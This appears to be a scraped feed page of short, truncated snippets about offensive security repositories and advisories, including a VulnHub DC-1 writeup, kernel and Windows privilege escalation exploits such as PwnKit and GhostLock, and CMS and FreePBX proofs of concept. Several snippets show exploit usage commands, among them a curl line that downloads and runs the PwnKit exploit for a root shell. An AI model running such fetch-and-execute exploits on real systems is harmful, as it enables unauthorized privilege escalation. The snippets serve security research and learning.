VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "渗透测试实验室报告，记录了从侦察到 root 的完整攻击链。" 🔓 VulnHub — DC-1 Boot-to-Root 靶机 Writeup 难度： 初级–中级 平台： VulnHub 目标： 获取全部 4 个 flag 并实现完整的 root 级攻陷 攻击机系统： Kali Linux（VirtualBox — NAT 网络） 目标机系统： Debian Linux（Drupal 7 CMS） 📌 目录 1. 实验环境搭建 2. 侦察与信息收集 3. 漏洞利用 — 远程代码执行 4. 后渗透 — Shell 稳定化 5. Flag 1 —...

GhostLock

GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit Vulnerability Overview CVE ID: CVE-2026-43499 Vulnerability Type: futex PI priority inheritance stack UAF Use-After-Free Affected Range: Linux kernel 6.1 6.12 Android GKI Exploitation Impact: Local privilege escalation + SELinux disabl...

bx2-writeups

安全文章 我的网络安全文章合集，涵盖： TryHackMe Hack The Box Linux 权限提升 AI 与基础设施安全 CTF 安全挑战 作者：Nanashi Bx2...

CVE-2026-6958

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine wvsc.exe that allows low-privileged local attackers to execute arbitrary code as SYSTEM by exploiting a missing hardcoded directory path for OpenSSL-related files...

CVE-2019-1064

CVE-2019-1064 - AppXSVC ローカル権限昇格 https://www.rythmstick.net/posts/cve-2019-1064/...

EUVD-2026-71151

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine wvsc.exe that allows low-privileged local attackers to execute arbitrary code as SYSTEM by exploiting a missing hardcoded directory path for OpenSSL-related files...

CVE-2026-6958

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine (wvsc.exe) . The root cause is a missing hardcoded directory path for OpenSSL-related files; a low-privileged local attacker can create that directory, place a malicio...

PwnKit-CVE-2021-4034

PwnKit CVE-2021-4034 の PoC - Pkexec ローカル権限昇格 エクスプロイト 手動 root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command パッチ適用済み パッチ適用済みのバージョンに対してエクスプロイトを実行すると、以下の出力が得られます。...

Linux-for-a-Pentester

🐧 Linux for a Pentester 💀 "Theory is great, but the shell is where the magic happens." This repository is a curated collection of Linux command notes built from real-world labs, CTFs, and hands-on practice. No fluff, just the raw commands and practical notes needed for a Pentester. 📂 Repository...

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

CVE-2025-2304 — Camaleon CMS 批量赋值权限提升（PoC） Camaleon CMS /updatedajax 发送 PATCH 请求，并在密码参数中注入 passwordrole=admin。 4. 验证角色已更新为 admin。 环境要求 Python 3 安装依赖： root@kitploit: python3 -m venv venv source venv/bin/activate python3 -m pip install requests beautifulsoup4 使用方法 root@kitploit: python3 exploit.py...

Azure

Azure 攻防安全工具包 一套用于 Azure 安全评估的 Bash 和 PowerShell 脚本合集，涵盖 IAM 权限提升、容器安全、Key Vault 暴露面、Entra ID 配置等。设计用于在 Azure Cloud Shell 或任何已认证的终端中运行。 脚本 IAM / 身份 脚本| Shell| 描述 ---|---|--- IAMPrivz.sh| Bash| 审计整个租户中所有 RBAC 角色定义和分配，查找危险的权限提升权限：roleAssignments/write、roleDefinitions/write 和...

CVE-2015-1328

CVE-2015-1328 TryHackMe 演练 – Linux 内核权限提升 CVE-2015-1328 目标 此演练的目标是通过利用存在漏洞的 Linux 内核，将权限从低权限用户 karen 提升到 root。 步骤 1 – 初始枚举 通过 SSH 连接到目标机器后： root@kitploit: ssh karen@ 我识别出了 Linux 内核版本： root@kitploit: uname -r 输出： root@kitploit: 3.13.0-24-generic 该机器运行的是 Ubuntu 14.04 ，内核为 3.13.0-24-generic 。 步骤 2 –...

CVE-2023-21817

CVE-2023-21817 - Windows Kerberos LPE 漏洞检查器 针对 CVE-2023-21817 的极简 C++ 概念验证 PoC / 漏洞检查器。该工具通过与本地安全机构 LSA 子系统交互，帮助安全研究人员和系统管理员确定 Windows 系统是否容易受到 Kerberos 本地权限提升 LPE 漏洞的影响。 概述 CVE-2023-21817 是 Windows Kerberos 组件中的一个本地权限提升漏洞。它允许低权限用户在工作站解锁序列期间绕过安全限制。 该工具尝试通过使用受限制的 KerbUnlockLogon 信息类，调用 LsaLogonUse...

ghostlock-pfem10

GhostLock — PFEM10 Exploit de CVE-2026-43499 IonStack para OPPO Find X5 Pro PFEM10. Kernel 5.10.236-android12-9-o, futex CMPREQUEUEPI UAF → primitiva de escritura pi-tree. Úsalo bajo tu propio riesgo. Espera pánicos / reinicios. No actualices el firmware. Compilación root@kitploit: ./build.sh...

CVE-2026-9018

CVE-2026-9018 CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | 未认证权限提升 研究作者： Atomic Edge 严重性： 高 | CVSS: 8.8 | 需要认证： 无 概述 在 Easy Elements for Elementor – Addons & Website Templates WordPress 插件（版本 ≤ 1.4.5）中存在一个未认证权限提升漏洞。easyelhandleregister 函数通过 wpajaxnopriveelregister AJAX 处理器暴露，将攻击者控制的...

CVE-2026-29198-POC

CVE-2026-29198-POC Rocket.Chat OAuth2 NoSQLインジェクション、Rocket.Chat 8.3.0、8.2.1、8.1.2、8.0.3、7.13.5、7.12.6、7.11.6、および 7.10.9 セットアップインストール: pip3 install -r requirement.txt エクスプロイト: python3 poccve202629198.py --url domain --escalate -v...

FreePBX-CVE-2025-57819

FreePBX CVE-2025-57819 — 未经认证的SQL注入到Root RCE 严重性: 严重 类型: 未经认证的SQL注入 → 远程代码执行 受影响软件: FreePBX endpoint模块 测试环境: CentOS 7上的FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5 概述 FreePBX的endpoint模块中通过/admin/ajax.php的brand参数存在一个未经认证的SQL注入漏洞。利用此漏洞无需任何凭据。 结合FreePBX内部的cron任务机制以及incron/fwconsole钩子系统，可导致完全未经认证的root...

CVE-2026-31431

CVE-2026-31431 "Copy Fail" - 研究与渗透测试工具 ⚠️ 免责声明 本项目严格仅供以下用途： 安全研究 教育目的 授权渗透测试 CTF 和实验室环境 使用本工具即表示您同意： 您拥有目标系统 或 您已获得测试目标的明确书面授权 您不会将本项目用于非法或恶意活动 您了解未经授权访问的所有法律和道德后果 作者和贡献者 不对 滥用、损害、数据丢失、服务中断或使用本软件进行的任何非法活动 负责 。 📖 描述 用于 CVE-2026-31431 的概念验证研究工具，又名 "Copy Fail" ，这是一个影响 algifaead / authencesn AEAD 实现的...

CVE-2026-4644

A Missing Authorization vulnerability in HTTP Connector in Google Cloud Integration Connectors versions prior to 2025-12-11 on Google Cloud Platform allows an authenticated user to escalate privileges and take over a Google Cloud Project using unauthorized service account attachment. This...

EUVD-2026-70996

A Missing Authorization vulnerability in HTTP Connector in Google Cloud Integration Connectors versions prior to 2025-12-11 on Google Cloud Platform allows an authenticated user to escalate privileges and take over a Google Cloud Project using unauthorized service account attachment. This...